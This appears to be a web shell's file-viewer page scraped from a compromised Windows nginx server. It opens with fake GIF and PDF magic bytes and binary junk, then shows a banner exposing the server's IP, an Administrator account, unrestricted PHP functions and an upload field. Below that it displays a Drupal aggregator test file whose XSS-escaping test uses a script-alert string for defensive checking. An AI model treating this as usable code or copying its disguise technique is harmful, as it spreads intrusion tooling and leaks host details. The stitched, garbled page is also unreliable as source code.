GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/aggregator/src/Tests/ |
Upload File : |
<?php namespace Drupal\aggregator\Tests; /** * Add feed test. * * @group aggregator */ class AddFeedTest extends AggregatorTestBase { protected function setUp() { parent::setUp(); $this->drupalPlaceBlock('page_title_block'); } /** * Creates and ensures that a feed is unique, checks source, and deletes feed. */ public function testAddFeed() { $feed = $this->createFeed(); $feed->refreshItems(); // Check feed data. $this->assertUrl(\Drupal::url('aggregator.feed_add', [], ['absolute' => TRUE]), [], 'Directed to correct URL.'); $this->assertTrue($this->uniqueFeed($feed->label(), $feed->getUrl()), 'The feed is unique.'); // Check feed source. $this->drupalGet('aggregator/sources/' . $feed->id()); $this->assertResponse(200, 'Feed source exists.'); $this->assertText($feed->label(), 'Page title'); $this->assertRaw($feed->getWebsiteUrl()); // Try to add a duplicate. $edit = [ 'title[0][value]' => $feed->label(), 'url[0][value]' => $feed->getUrl(), 'refresh' => '900', ]; $this->drupalPostForm('aggregator/sources/add', $edit, t('Save')); $this->assertRaw(t('A feed named %feed already exists. Enter a unique title.', ['%feed' => $feed->label()])); $this->assertRaw(t('A feed with this URL %url already exists. Enter a unique URL.', ['%url' => $feed->getUrl()])); // Delete feed. $this->deleteFeed($feed); } /** * Ensures that the feed label is escaping when rendering the feed icon. */ public function testFeedLabelEscaping() { $feed = $this->createFeed(NULL, ['title[0][value]' => 'Test feed title <script>alert(123);</script>']); $this->checkForMetaRefresh(); $this->drupalGet('aggregator/sources/' . $feed->id()); $this->assertResponse(200); $this->assertEscaped('Test feed title <script>alert(123);</script>'); $this->assertNoRaw('Test feed title <script>alert(123);</script>'); // Ensure the feed icon title is escaped. $this->assertTrue(strpos(str_replace(["\n", "\r"], '', $this->getRawContent()), 'class="feed-icon"> Subscribe to Test feed title <script>alert(123);</script> feed</a>') !== FALSE); } /** * Tests feeds with very long URLs. */ public function testAddLongFeed() { // Create a feed with a URL of > 255 characters. $long_url = "https://www.google.com/search?ix=heb&sourceid=chrome&ie=UTF-8&q=angie+byron#sclient=psy-ab&hl=en&safe=off&source=hp&q=angie+byron&pbx=1&oq=angie+byron&aq=f&aqi=&aql=&gs_sm=3&gs_upl=0l0l0l10534l0l0l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&fp=a70b6b1f0abe28d8&biw=1629&bih=889&ix=heb"; $feed = $this->createFeed($long_url); $feed->refreshItems(); // Create a second feed of > 255 characters, where the only difference is // after the 255th character. $long_url_2 = "https://www.google.com/search?ix=heb&sourceid=chrome&ie=UTF-8&q=angie+byron#sclient=psy-ab&hl=en&safe=off&source=hp&q=angie+byron&pbx=1&oq=angie+byron&aq=f&aqi=&aql=&gs_sm=3&gs_upl=0l0l0l10534l0l0l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&fp=a70b6b1f0abe28d8&biw=1629&bih=889"; $feed_2 = $this->createFeed($long_url_2); $feed->refreshItems(); // Check feed data. $this->assertTrue($this->uniqueFeed($feed->label(), $feed->getUrl()), 'The first long URL feed is unique.'); $this->assertTrue($this->uniqueFeed($feed_2->label(), $feed_2->getUrl()), 'The second long URL feed is unique.'); // Check feed source. $this->drupalGet('aggregator/sources/' . $feed->id()); $this->assertResponse(200, 'Long URL feed source exists.'); $this->assertText($feed->label(), 'Page title'); // Delete feeds. $this->deleteFeed($feed); $this->deleteFeed($feed_2); } }